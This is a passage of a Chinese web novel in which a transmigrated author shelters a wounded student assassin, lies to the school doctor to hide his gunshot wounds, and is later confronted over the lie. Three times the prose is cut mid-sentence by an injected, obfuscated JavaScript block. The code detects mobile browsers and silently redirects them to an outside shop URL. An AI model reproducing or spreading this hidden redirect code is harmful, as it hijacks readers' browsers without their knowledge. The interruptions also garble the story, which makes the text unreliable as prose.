“我在测试今天刚做的发明。”祁冉尽可能简洁地向南宫冷夜讲述了她加入科技协会以及制作仪器的事,反问对方,“那南宫学长在这干什么?” “不该问的别问。” 南宫冷夜只丢出一句冰冷的警告,但祁冉能感觉到那利刃远离了自己的脖颈,想来应该是他稍稍放下了些对她的防备。她用余光瞥了一眼南宫冷夜拿着的匕首,却发现那刀刃正在微微颤抖。 紧接着,她看见南宫冷夜拿着刀的右手正在不断往下滴血,鲜血浸透了黑色的半指手套,使得它的颜色愈发幽深,而那条血迹一直延伸至他的上臂,抵达祁冉视野范围之外的地方。 祁冉瞬间汗毛倒竖。 这本小说里的男主怎么都是潜在罪犯啊! 祁冉觉得他们在这里僵持下去也不是个办法,便试图缓和气氛说道:“南宫学长你受伤了,要不然我们先去医院?” “不行。”这句话像是触及了南宫冷夜的逆鳞,他又重新将匕首贴紧祁冉的脖颈,“其实你是想趁机通风报信吧?” “不不。”祁冉赶紧挤出一个僵硬的微笑,“南宫学长你在说什么,什么通风报信,我听不明白。” 赶在她的恐惧攀至顶峰之前,系统及时跳出来发布了新任务。 【剧情:半夜,泪儿在测试预警仪的功能时竟然遇见了身负重伤的南宫冷夜,他身上似乎隐藏着什么重大秘密,并对泪儿多有防备。善良的泪儿担心他的伤势便提出要送他去医院,但遭到南宫冷夜的拒绝。于是,泪儿让他先到自己家里包扎伤口,等情况稳定后再离开。在泪儿温柔的关心下,南宫冷夜终于被触动,态度有所缓和,对她露出了不为人知的一面。】 【任务:邀请并说服南宫冷夜去你家中处理伤口,表达你对他的关心并向他询问受伤原因。】 她小时候是一点危机意识都没有啊! 南宫冷夜都把刀架她脖子上了,她不想着赶紧跑,竟然还要引狼入室! 不过这也反向说明,只要她规规矩矩地推进剧情,就不会遇到任何危险。 祁冉心里有了底,情绪便镇定了许多,用担忧的目光看向南宫冷夜:“南宫学长,既然你不愿意去医院,那就去我家包扎伤口吧,否则你一定会因为失血过多倒下的。” 南宫沉默地盯着祁冉,像是在评估她这个提议的安全性。 “你不怕我伤害你?” 她怎么可能不怕,但她更害怕自己一辈子都要待在这个玛丽苏世界! “当然害怕。”祁冉面露哀伤,“但我更担心学长的安危。你受了这么重的伤,如果不能及时得到救治,肯定会有生命危险的!” 南宫冷夜眸色暗了暗,不知道是不是因为失血过多,他感到一阵眩晕。眼下情况紧急,他也顾不得那么多,便同意祁冉的提议:“好,那请泪儿小姐带我去你家。” 说完,他挟持着祁冉移进灌木丛,从地上捡起他刚才放在这里的手提箱,跟随祁冉回到小区进了家门。 “学长你快进去,先坐下休息。” 在进门的时候祁冉已经感觉到南宫冷夜似乎有些体力不支,他整个人的重量几乎都压在她肩膀上,拖慢了她的步伐。 祁冉扶着南宫冷夜去沙发上坐好,自己转身去打开客厅的灯,回头对南宫冷夜说:“你没事吧,刚才……” 话说到一半祁冉就因惊恐而失语。 在亮光的照射下,她才看清南宫冷夜现在的状态。他面色苍白如纸,嘴唇也几乎没有血色,大臂、腹部都有多处枪伤,子弹还嵌在伤口深处,伤口正在汩汩地往外涌血,像是刚经历了一场激烈的枪战。 难怪刚才她能轻易摆脱南宫冷夜的控制,他这会应该已经没多少力气了。 不过她今天救了他,不会给自己惹来什么杀身之祸吧! “药,你身上有药吗?你得先止血。”因为正处在极度恐惧中,祁冉说话有些不利索,“我去外面看看你有没有留下什么痕迹。” 要不然的话按照常见剧情套路,别人一定会循着血迹找到这里的! 南宫冷夜的眼神再次变得冷峻,他想起身阻拦祁冉,却没有一点力气。 “泪儿小姐,今天是我一时失手,我认了。你要是想给那些人报信就赶快去,不然迟了的话就只能让他们见到我的尸体,那样你就领不到多少赏金了。” 听到南宫冷夜颇具讽刺意味的话,祁冉气不打一处来。 她好心救他,结果他不但不领情,还在这阴阳她! “南宫学长,你这话是什么意思?”祁冉愤怒道,“我如果不是真心想救你,就冲你现在这样的情况,我早就跑去报警了!我是担心你的血迹会暴露行踪,说不定会被其他人找上,这才决定去抹除痕迹,你现在却反过来内涵我?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785852|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 南宫冷夜看她这样子,觉得祁冉似乎确实不知道事件内情,他意识到自己好像误会了祁冉,失言伤了人,只能默默垂下头。 “抱歉。”他不知道该说点什么来圆场,于是回答祁冉的问题,“我的箱子里有药。你放心,我包扎过伤口就走,不会给你惹麻烦。” 他这句话又让祁冉心里冒起了火,但在她看到南宫冷夜身上的伤时又觉得自己没必要和伤员计较,便拿来手提箱放到他旁边,缓和语气说道:“那你先在这里处理伤口,我去外面拖一下地。” 几分钟后,当祁冉提着拖把回家时,恰好撞见惊悚的一幕。 就像影视剧里经常上演的桥段一样,南宫冷夜在没有使用任何麻药的情况下,嘴里咬着一块纱布,用镊子生生地把弹头从伤口中扯了出来。在这个过程中,虽然他的动作迅速,但额头上已经沁出了一层薄汗,两道利落的剑眉也拧在一起,无声地诉说主人正在遭遇的痛苦。 虽然祁冉没有晕血的症状,但这个鲜血淋漓的场面还是对她的感官造成了剧烈冲击。 她移开视线,半是为了做任务半是真诚地发问:“你不疼吗?” 南宫冷夜简短地回答:“疼,但我习惯了。” 他说这话的时候声音平稳,除了因为受伤而导致气息发虚以外,并没有丝毫颤抖。 天呐,他平时过的是什么亡命天涯的生活! 祁冉很难想象,这样的人居然还是个大学生! 她由衷地感叹:“学长,你真是太不容易了。如果换做是我,肯定早就撑不住了。” 既要上学还要逃亡,他才是真正的时间管理大师! 南宫冷夜的动作微微一顿,他没想到祁冉会对他的痛苦感同身受。 祁冉和他聊着天,同时打量着他打开后放在一旁的手提箱,里面散落着一些急救药物,还有许多子弹,最引人注目的当然还是那杆锃亮的狙击枪。 她根据已知的信息推断,南宫冷夜的隐藏身份可能是什么杀手或者特工之类的人。 祁冉想起她的任务内容,小心翼翼地试探道:“你是遭遇了枪战才受伤的吗?有人在追杀你?” 如果这剧情不是她自己写的,祁冉觉得这个问题简直是作死。 在小说里,一旦某个人得知什么重要秘密,就意味着这人命不久矣了! “泪儿小姐,我很感谢你救了我,但知道得太多对你没有好处。”南宫冷夜正一圈圈地往胳膊上缠绷带,抽空瞥了祁冉一眼,“今天的事还希望你为我保密,不要告诉任何人。” “我明白。”祁冉很上道地笑笑,“今晚什么事都没有发生,我也没有见过你。” “那样最好。”南宫冷夜勾了勾唇角,脸上浮现出一丝笑意,“多谢泪儿小姐。” “不过……”祁冉忽然想起一件事,“明天我们都要去体检,羽尘医生那边你打算怎么解释?” 按照艾利牛顿的惯例,每学期开学后都要对学生进行统一体检,这次的体检日就定在明天,校医一定会发现南宫冷夜的枪伤。 “随机应变吧。” 南宫冷夜整理好散落在身边的药品,将它们一起收进箱子归纳整齐,然后扣上箱盖,拎起手提箱向祁冉告辞。 “我已经处理好伤口,就不在这里久留了。”他向祁冉微微颔首,“泪儿小姐,再见。” 祁冉假惺惺地挽留道:“可是你的伤势那么重,最好还是先不要剧烈活动,要不然你在这里住一晚,明天早上再走吧?” 南宫冷夜闻言抬眸,他静静地注视着祁冉,却一言不发。灯光从他身后投射下来,或许是因为背光,他的眸色显得有些幽深,眼底交织着晦暗不明的情绪。 最后,他还是只说出了一句拒绝。 “谢谢你的好意,但我不能待在这,否则会给你带来危险。” 过了一会,直到祁冉送他出了门,他临行之际才看向祁冉,郑重其事地说出第二句话。 “泪儿小姐,你和我遇见的所有人都不一样。” 说完,他决绝地收回目光,头也不回地下楼离开,留下祁冉一个人在风中凌乱。 她干什么了,怎么就和其他人不一样了? 还有,南宫冷夜的身份到底是什么? 谜语人滚出地球! 祁冉带着满腹疑惑返回卧室,她躺在床上翻了几次身,却怎么也睡不着,最后索性睁开眼睛,盯着上方的粉色床帐发呆。 她隐约觉得这个剧情和她预想的不太一样,这本书好像不只是简单的校园言情小说。 不过就像南宫冷夜说的那样,她现在唯一能做的就是随机应变,于是她把注意力放回当下。 过了两秒,祁冉发出痛苦的哀嚎。 明天又要见到那个师承唐纳德的神经病校医了! 19.包庇 周一,艾利牛顿一学期一度的学生体检日。 校医院周围挤满了现场采访和跟踪拍摄的记者,时刻准备着获取第一手消息;祁冉沉默地踏上脚下的那条红毯,跟随周围绚丽多彩的人头一起向校医院内部移动,不知道的还以为他们要接见什么重要来宾。 为什么一个体检都要搞得这么隆重啊,她小时候对贵族学校究竟是有多大的误会! “同学你好。”见祁冉走进医院,站在走廊两侧的工作人员适时地上前递给她一张折叠起来的导诊图,“请你根据个人时间合理安排检查顺序,尽量避开人多的诊室。” 祁冉接过地图点头道:“好的谢谢。” 上次她来校医院的时候就发现了,虽然它名义上是校医院,但比她去过的全国知名三甲医院的占地面积还要大。好在羽尘的办公室离门口近,所以她当时并没有花费太多时间,很快就包扎好了那处根本看不见的伤口。 祁冉正想着便经过了羽尘所在的诊室,只见门口已经排起了长队,于是她展开手中的地图,决定先去其他诊室。 然而,当她看见手上那张迷宫似的路线图时,不禁陷入了沉思。 一个校医院的内部结构设计得这么复杂,万一有人处于危急情况,还没等送到医务室里面就没命了,倒不如直接拉去火葬场,那样还更省事些。 等祁冉转了一大圈回来,羽尘所在的诊室前才没了人满为患的场面,许多医生也陆陆续续地下了班。 祁冉轻轻叩响大门:“羽尘医生,请问我可以进去吗?” “当然,请进。” 祁冉推门进去时,羽尘已经从办公桌后抬起头来,温柔地对她笑道:“泪儿小姐,我果然不会认错你的声音。请坐。” 虽然羽尘总说一些让祁冉觉得很肉麻的话,但平心而论,他的脾气还挺好的。据祁冉那个医学生闺蜜所说,在坐诊一上午之后,医生多少都会遇见几个奇葩或者难缠的患者及家属,等看到最后几个病人的时候,基本都会满脸写着疲倦或不耐烦,他们也并不想流露出负面情绪,但是人就总有疲惫的时候。 其他诊室的那么多医生都下班了,羽尘依然要坐在这里看病,他竟然还笑得出来,真是恐怖如斯! “羽尘医生,你工作了一早上肯定很累,我还要来麻烦你,真是抱歉。”祁冉把自己的体检表放在桌上推给羽尘,“我就差基础体格检查的这几项了。” “好。”羽尘扫了一眼体检表,对祁冉笑道,“我是医生,这些都是我的本职工作,没有什么麻烦的说法,你不用客气。” 说着,他让祁冉把手伸出来放在垫子上,准备给她测血压。 但当他看到她光滑的没有任何装饰的右手时却迟疑了一下,收敛笑容问道:“泪儿小姐,你手上的纱布呢?” 坏了,她把这茬给忘了! 上周羽尘反复叮咛她要注意保养伤口,过一星期来复查的时候再视情况决定是否要拆除纱布,但祁冉嫌弃它影响自己拿东西,转头就把纱布拆下来扔了。 “对不起羽尘医生,我不是不听医嘱。”祁冉装出无奈的神情,“但我家境贫困,又急着用钱,所以周末要去餐厅做兼职。如果店长看到我手上有伤就不会同意我工作,那我就没办法获取报酬……” 说着说着祁冉的声音便小了下去,因为她发现羽尘的眼神正从严肃转变为疼惜,还有无尽的担忧。 她低估了这些男主自我攻略的力度,好像演过头了! 她赶紧止住话头,用一句话迅速收尾,讪笑着说道:“反正我的伤口也已经基本痊愈了,不碍事,就算拆掉纱布也不会造成什么危害,你别担心。” 羽尘轻轻叹了口气:“泪儿小姐,生命以痛吻你,你却报之以歌。你真是太坚强了。” 可问题是她根本不痛啊! 祁冉谦逊地笑笑:“羽尘医生过奖了,我——” “院长!” 门外响起一声急促的呼喊,与此同时还有紧张的敲门声,打断了祁冉的话。 “请进。”羽尘医生看向门口的来人,“怎么了?” 一名同样身穿白大褂的校医神色匆忙地走进诊室,他快速瞥了眼祁冉,绕到羽尘的办公桌后,俯身在他耳畔低语一阵。 羽尘听完他的话,不可置信地问道:“不可能吧,你们确定吗?” 来者点点头:“我们都是经验丰富的医生,那种程度的伤口一眼就能分辨出来。” 羽尘思索几秒问:“他人在哪?” “就在门口,我们都看着他呢。” 羽尘略一颔首,缓和了表情对祁冉笑道:“抱歉泪儿小姐,我们这边出了点突发状况,待会你再进来体检可以吗?” 祁冉不清楚他们在说些什么,只能先点头应允:“没关系,你们先忙。” 她起身向屋外走去,在抵达门口时漫不经心地看了眼旁边的座椅,却在余光里发现了南宫冷夜的身影。 她瞬间明白了刚才那些医生们的交谈内容,系统文字也从侧面印证了她的猜想。 【剧情:在第二天的体检日,校医们发现南宫冷夜身上的枪伤后向他询问受伤原因,南宫冷夜回答他曾在吃烧烤时不慎被铁签子捅伤,这引起了医生的怀疑,于是他们将南宫冷夜带到院长羽尘医生处,由他作出决断。在紧急时刻,聪明勇敢的泪儿挺身而出,用智慧瞒过了羽尘,替南宫冷夜保守住了秘密,也因此赢得了他的信任。】 【任务:想办法留在羽尘的诊室内,在他询问南宫冷夜的受伤原因时给出合理解释,打消羽尘的怀疑,帮助南宫冷夜脱身。】 南宫冷夜也是个人才,现在祁冉觉得他说的那句“随机应变”根本就是“随机硬变”。 他的脑回路到底是怎么长的才能想出这种诡异的理由? 时间不允许祁冉产生过多思考,她脚步一顿,故作惊讶地看向南宫冷夜,用周围人都能听得见的音量大声说道:“南宫学长,你怎么在这?” 南宫冷夜只当祁冉是在和他打招呼,起身向她点头致意:“泪儿小姐。” 说完他就要跟着几名校医进入诊室,祁冉连忙喊道:“等等!” 她飞快地瞥了眼诊室内的羽尘,用关切的语气问道:“南宫学长,你身上的伤还严重吗,要不要趁这个机会让羽尘医生给你开点药?” 在场所有人都敏锐地捕捉到她话中的关键词,南宫冷夜不明白祁冉为什么要在这么多人面前故意提起他身上的伤,眼中带上了几分威胁和警告的意味。 “听泪儿小姐的意思,你知道南宫先生身上有伤?” 坐在诊室内的羽尘也听到祁冉刚才的话,便走过来向她提出疑问,惊疑的目光在两人之间游移了几个来回。 “没错。”祁冉随口胡诌道,“南宫学长是因为我才受伤的。” 虽然她还没想好怎么圆谎,但如果她是当事人,至少就有正当理由留在诊室了! 听到祁冉这么说,羽尘驱散了门口的校医,请祁冉和南宫冷夜一起坐在办公桌前详谈。 “我想先和泪儿小姐确认一个事实。”羽尘看了一眼她身旁的南宫冷夜,“南宫先生身上的伤是枪伤吧?” 南宫冷夜的一句“不是”和祁冉的“是”撞在了一起,形成一个显而易见的矛盾。 真是毫无默契的回答! 羽尘笑了笑:“怎么,你们没能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797798|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达成一致吗?” 就冲羽尘的专业水平,这是显而易见的事,祁冉从一开始就不打算瞒他,索性大大方方地承认。 难道南宫冷夜觉得他找的借口很合理吗? “因为……因为南宫先生不想让别人知道他受伤!” 为防止南宫冷夜把话题引至不利于他们解释的方向,祁冉抢先开了口。 羽尘和南宫冷夜一齐向她投来惊异的目光,但祁冉明白两人的关注点不同。 “为什么?” 羽尘的提问和南宫冷夜颇具威胁意味的眼神都近在咫尺,祁冉飞速运转大脑,忽然灵光一现。 她拿出写文时瞎编乱造的功力捏造了两人的经历,语气真挚道:“正如我刚才所说,南宫学长是因为我才受伤的,可他做好事不留名,并不想让别人知道他见义勇为的光荣事迹,所以再三嘱咐我替他隐瞒真相。” 说着,祁冉又悲痛地看向南宫冷夜,同时飞快地眨着眼睛给他使眼色:“可是南宫学长,是你救了我,我实在做不到把这个秘密一直隐瞒下去!” 南宫冷夜还是一头雾水,但他接收到祁冉的眼色,于是棒读道:“不,泪儿小姐,我也没做什么。” 好拙劣的演技! 祁冉觉得他再演下去就要露馅了,于是马上调转方向对羽尘讲述:“昨天晚上我睡不着觉,就想去我家附近的公园去散步,可是那里很偏僻,晚上几乎没有游客,我担心遇到危险,所以约了南宫学长陪我一起去。但我没想到,我们竟然在那里遇到了一大帮穷凶极恶的歹徒!” 羽尘的神情也跟着紧张起来,显然是被祁冉的故事所吸引。 她绘声绘色地描述着:“当时我们走着走着就突然听见几声枪响,听起来像是两拨人发生了火并,我因为太害怕所以叫出了声,也因此引来了歹徒的追杀,南宫学长为了掩护我逃跑,身上多处中弹。” 羽尘连忙问道:“那你没受伤吧?” 虽然这事是假的,但真正的伤员就坐在她旁边,这话听起来也太让人寒心了吧! “没有,南宫学长将我保护得很好。”祁冉悔恨万分地说道,“都怪我,要是我没有发出那声惊叫,歹徒就不会过来;如果我从一开始就没有请南宫学长陪我,他也根本不可能受伤……” 兴许是祁冉的感染力太强,南宫冷夜也渐入佳境,十分配合地劝解她:“泪儿小姐,这不是你的错,你不用自责。” “原来是这样。” 羽尘若有所思,他看向南宫冷夜说道:“南宫先生,感谢你保护泪儿小姐,是我们误会你了,抱歉。既然如此,我也没什么要问的了,我给你列个清单,待会直接去药房拿药就行。” 交代完这些事,他又对祁冉笑道:“泪儿小姐久等了,我们继续检查吧。” 从诊室出来后,在关上大门的瞬间,祁冉长舒了一口气。 那个难缠的任务和学校体检终于都结束了! “泪儿小姐。” 祁冉听到耳熟的声音,她循声望去,只见南宫冷夜正从药房的方向走过来:“你所有的体检项目都完成了吗?” 她点头:“对。” “那正好,我有话要和你说。” 南宫冷夜左右张望一番,对祁冉说道:“这里不太方便,我们换个安静的地方说话。” 祁冉跟随南宫冷夜往学校的偏僻处走,随着周围的路人渐少,她表面上神色如常,但心跳的速度却越来越快。 经历了昨天的事,南宫冷夜在她心里已经被贴上了“危险分子”的标签,和他独处简直就是高危事件。 作为一个意外撞破他隐藏身份的人,她不会要被他杀掉灭口吧! 20.邀请 “就在这里说吧,泪儿小姐请坐。” 祁冉跟着南宫冷夜来到一处长亭里,她趁着落座的空当迅速瞥了眼周围的环境,在心里谋划着逃跑路线。 这处亭子位于学校旧教学楼后面,平时少有人来,四周还有茂密的植株作为隐蔽,确实是个安静的去处。 同时危险系数也很高! “泪儿小姐,我想问你一个问题。”南宫冷夜的声音唤回了祁冉的注意力,她对上他幽深的眼瞳,“你刚才为什么要帮我隐瞒真相?” “这哪里需要什么原因?” 祁冉不小心说出了心里话,连忙找补道:“昨天你不是说了吗,你不想让别人知道这件事。刚才我遇见你的时候就猜到了,你身上的伤肯定引起了那些校医的怀疑,我又碰巧在场,当然要帮你一把。” “但我的事又与你无关,你完全可以置身事外。”南宫冷夜的眼波微动,“而且昨天你应该已经有所察觉,我是个很危险的人,身上藏着不可告人的秘密,你为什么敢和我站在同一边?” “不,在我眼里你只是南宫学长,从我认识你的那一刻起就是这样,那我帮你就是理所应当的事。”祁冉决定打感情牌,语气坚定道,“至于你所说的那些秘密,你不愿意告诉我也肯定是有不能说的理由,我相信你不会骗我。” 南宫冷夜愣了一瞬,然后发出一声自嘲的轻笑。 “没想到你会这么信任我。” 他垂眸思索一阵,当他再次抬起头时,脸上浮现出少有的犹豫,最终像是下定决心一般地看向祁冉。 “泪儿小姐,我曾反复强调,我的身份很危险,如果你和我产生过多联系,恐怕也会被我卷进来,但我同样也不想辜负你对我的关心和信任。所以,我可以向你透露一条信息,之后你到底是要远离我还是要保持现状,请你自己做出决断。” 那要不还是别说了,掌握秘密的代价太高昂了! 但祁冉没来得及阻止南宫冷夜说出接下来的话:“其实,我是一名杀手。昨晚我在一次暗杀行动中不慎失手,反而被他们追捕,所以才受了伤。” 祁冉对此早有预料,她在装出震惊神色的同时,没忍住问了句:“你是世界第一杀手吗?” 南宫冷夜点头:“算是吧。” 祁冉迅速把视线从他脸上移开。 她可不敢和世界第一杀手对视! 南宫冷夜见到祁冉恐慌的动作,语气有些失落:“我知道告诉你真相后你一定会害怕我,但我也不想自作主张地替你选择行动方向,所以如果你想远离我也没问题,我以后会尽量减少和你的接触。” “不,学长你误会了,我刚才只是觉得这样看着你有失尊敬。”祁冉赶忙制止他胡思乱想,缓和语气笑道,“你看,我只是个普通人,而学长你是世界第一杀手,这可是非常厉害的大人物,我直视你实在是太不礼貌了!” 他要是断绝了和她之间的来往,那她还怎么推进剧情啊! 南宫冷夜的眼中现出几分失而复得的惊喜:“真的,你不怕遇到危险吗?” “不怕。”祁冉摇头道,“我相信学长不会害我,平时我自己小心点就行了,我不会因为你这样的身份就和你保持距离。” “我明白了,既然你已经做出决定,那我也会拿出相应的诚意。”南宫冷夜牵起祁冉的手,将它紧紧握在手心,祁冉摸到了他微凉的皮肤和掌中的枪茧,“你放心,从今天起我会好好保护你,绝对不会让你受到一点伤害。” 好了,现在祁冉的保安大队中又添了一员猛将。 但她怎么觉得这些人迟早要发生内乱呢? 上课铃声及时拯救了祁冉,她赶忙抽回手挤出一个微笑,语速飞快地向南宫冷夜告辞:“好的,谢谢南宫学长关心,既然事情已经解决了,我还要去上课,那我就先回去了!” 说完她扭头就跑,恨不得再长一对翅膀远离南宫冷夜。 这种尴尬的感情戏还要演到什么时候? 见祁冉一脸窘迫地逃离现场,南宫冷夜也后知后觉地有些不自在。为了掩饰尴尬,他轻咳一声,将制服衣领立了起来,遮住自己难以抑制的微笑,这样在外人看来,他还是平时那种冷酷的模样。 他微微低下头,快步从人群中穿过,心想祁冉一定是害羞了。 一直到中午吃饭的时候,祁冉还在为自己未来的前途命运担忧,心事重重地坐在桌前,觉得眼前的美食都不香了。 原本按照正常逻辑来说,祁冉遇到穿越这种奇幻事件根本不用担心,她自己就是网文作者,又有丰富的阅读经验,熟悉多种故事发展套路,光凭预判她就能将剧情走向猜个大概,提前做好准备。 可问题是她小时候写的这本书根本不走寻常路,谁知道下一秒会发生什么事! 她正腹诽着,忽然看到一道人影出现在她面前的餐桌上,遮住了一片阳光。 当她扭头看向隔间门口时,来人恰好准备敲门。 “泪儿小姐,好巧。”见祁冉已经发现了他,羽尘医生放下右手,改成托举餐盘的动作,笑着看向她对面的座位,“你对面有人吗?” “没有。”祁冉也露出礼节性的微笑,和他寒暄了几句,“羽尘医生也来食堂吃饭?” “嗯。”羽尘在祁冉对面坐下,“中午来这里还是方便些。” 祁冉和他闲聊着,心想真是一波未平一波又起。 早知道她还不如和她那些神经病同学一起来吃饭呢! 羽尘打量了一下他们周围的环境,艾利牛顿的食堂里设置了许多隔间,墙壁隔音效果极好,每个隔间仅有一处供人进出的缺口,祁冉选的又是靠墙的位置,相对来说隐蔽性较好。 于是他转头对祁冉说道:“泪儿小姐,我正好有事要找你,既然我在这遇见你了,那我就直接说吧。” “好。”祁冉放慢了吃饭的动作,准备认真听羽尘讲话,“什么事?” “关于南宫先生的枪伤。” 祁冉正在夹菜的手陡然一顿,她没想到他会再次提起这事。 她抬起头看向羽尘,装出茫然而困惑的神情:“他的伤怎么了?” “放心,他的伤势并无大碍,我想说的是其他方面。”羽尘以为祁冉是在关心南宫冷夜,他的笑容中有些许不快,“你告诉我,他的枪伤是昨晚你们遇见的歹徒造成的,对吗?” 祁冉不知道他为什么会突然对此产生质疑,上午的时候她不是已经蒙混过关了吗? “对。”她有点心虚地问,“有什么问题吗?” “那些歹徒大概长什么样,有没有什么明显特征?” 祁冉随口扯了个谎:“当时天太黑了,我没看清。” 羽尘点点头,转而问道:“那事后你们报警了吗?” “没有。”撒谎的时候,扯进来的事件越多越容易出现漏洞,祁冉决定否认,“因为我们没办法提供任何有力的线索或证据,如果就这样去报警,说不定不但破不了案子,反而会给自己惹来麻烦。” 羽尘忽然笑了起来:“真是合理的解释。泪儿小姐,你果然机敏,就连谎言都能逻辑自洽。” 祁冉心里一惊,她在桌下攥紧了指尖,却流露出自然的不解神情。 “羽尘医生,你这是什么意思,你不相信我说的话?” “不,我相信你,但我不相信南宫先生。”羽尘收敛笑容,“你的回答天衣无缝,但很可惜,证据就摆在我的面前。” 他顿了顿,解释起其中的详情来:“上午听过你的讲述,我原以为事实的确如你所说,可后来却意外发现了新线索。我在整理南宫先生的体检报告时注意到,他的伤口影像中有一处很容易被人忽略的细节。” 祁冉不是医学生,也并不了解太多医学知识,她不知道枪伤之间存在什么区别,谨慎地问道:“什么细节?” “他伤口的形状非常特殊,表面分布着奇特的花纹,这与一种特制的子弹上的花纹相吻合。所以,那些持枪者——也就是你口中的“歹徒”,他们的身份也很明确了。” 祁冉觉得她的担心根本就是多余的。 她怎么能指望羽尘说出什么有理有据令人信服的证据啊! 难道南宫冷夜的肌肉没有一点弹性吗,这花纹竟然就刻在他伤口里了! 不过眼下正处在紧要关头,祁冉还是抓住重点提问:“那种特制的子弹是什么,它和歹徒的身份又有什么关系?” “那是只有帕瑟家族才使用的子弹,上面雕刻着他们家族的徽记,其他人都不具备他们工厂中的生产技术。”羽尘介绍道,“掌握这一关键信息后我就给帕瑟家的总管打了电话,我从他那里得知,昨晚帕瑟家的三少爷曾经遭遇暗杀,不过因为他们的戒备森严,对方未能得手,最后负伤逃走了。” 这一情况和南宫冷夜透露给她的信息相吻合,祁冉估计这名杀手十有八九就是他。 “可是,他们全程都没有去过什么公园。”羽尘发出一声轻微的叹息,为这段话做出总结,“我不想无端地怀疑南宫先生,更不愿意相信你会欺骗我,但事实已经很清楚了。” 祁冉觉得,南宫冷夜作为男主之一,如果他出了事,她极有可能也没什么好果子吃,便向羽尘打听:“所以你把南宫学长的情况告诉他们了?” 他轻轻摇头:“没有,我不喜欢多管闲事。更何况南宫先生是泪儿小姐想要帮助的人,那我当然也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806893|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会让他陷入困境。” 祁冉心里的石头刚刚落地,却又被羽尘的下一句话提了起来。 “我不想插手帕瑟家族的事,南宫先生做了什么也与我无关。但是,我始终不愿意相信,你竟然会为了他欺骗我。”羽尘看向祁冉,眼中溢满痛苦与哀伤,“为什么,泪儿小姐?难道在你心里,他比我更重要吗?或者说,你并不信任我?” 祁冉被羽尘的夺命连环问吓出一身冷汗。 她要是回答失误,这可能真的要成为送命题了! “羽尘医生,你先别激动,请你听我慢慢说。” 祁冉赔着笑,温声安抚他的情绪,同时尽量为自己争取思考的时间。 从当前情况来看,羽尘已经掌握了南宫冷夜枪伤来源的确凿证据,她说自己之前没撒谎肯定行不通。那么,她有没有什么必须欺骗羽尘并且不伤害他感情的理由? 祁冉思索片刻,现在继续说谎的话很可能会进一步加深羽尘对她的误会,倒不如干脆实话实说。 真诚是永远的必杀技! 她做了一次深呼吸,像是万般无奈地叹了口气。 “羽尘医生,首先,无论是出于什么理由,我终归是欺骗了你,这是不可更改的事实,所以我并不期盼着你能原谅我。但是,我必须向你致以深切的歉意,这是我理应承担的责任。” 羽尘凝望着她,眼中的悲痛更甚,却也多了几分不忍。 祁冉深深地低下头,言辞恳切道:“事实上,在上午我对你撒谎时,我的内心也十分煎熬,因为当时我正处在一个两难的境地。南宫学长是我的朋友,可你也一样,你们对我来说都是非常重要的人。” 羽尘声音颤抖着问:“是这样吗?” “当然。”祁冉抬头看向坐在对面的羽尘,像照镜子那样模仿着他悲痛万分的神情,“可是我和南宫学长有约在先,我答应了要替他保守秘密,所以我不能背叛这个承诺,不能将有关这件事的任何信息透露给他人。即使你现在问我原因,我也一样只能保持沉默。” 她重新把头低下,让自己的声音颤抖起来,发出啜泣般的音调:“所以,羽尘医生,对不起,真的很抱歉。我是一个卑劣的人,不应该得到你这份珍贵的信任……” “不,泪儿小姐,请你不要这样贬低自己。你是我见过的最善良的人,拥有这个世界上最纯净的灵魂。”羽尘被祁冉的表演深深打动了,他扶起祁冉时,她看到他的眼圈正泛着一抹微红,“是我错怪你了,我在不知道真正原因的情况下就来质问你,应该道歉的人是我才对。” 谢谢,这样的赞美她已经在洛玄那听过一遍了。 他们怎么都这么执着于“纯净的灵魂”啊! 祁冉哽咽着说:“羽尘医生,我不奢求你的原谅,但我想告诉你,我很珍惜我们之间的友情,绝不是故意想要欺骗你。” “我知道,我都知道的。”羽尘取出张纸巾递给祁冉,又擦去自己眼角的泪水,“你不用再解释了,我不该质疑我们之间的感情。” 祁冉发现了,对付这些神经病的最佳方法就是比他们还神经,表现得越浮夸越深情,获得的效果也越好。 在祁冉的宽慰下,羽尘花了一会功夫才平复情绪,提起一个新话题。 “泪儿小姐,你还记得我们第一次见面时我和你说的话吗?就是你来校医院包扎伤口之后的事。”羽尘的话让祁冉陷入了回忆,“我曾经邀请你在身体恢复后来我们家族管辖的教堂参观,和我一起去觐见光明女神。正好这周日我们有每月一次的唱诗班表演,你有空过来吗?” 祁冉想起来了,的确是有这么一回事。虽然她现在不可能再回到“嘎嘎香炖菜王”打工,周末有大把的空闲时间,但她也并不想给自己找麻烦。 在她正要开口拒绝羽尘时,系统提示音让她打消了这个念头。 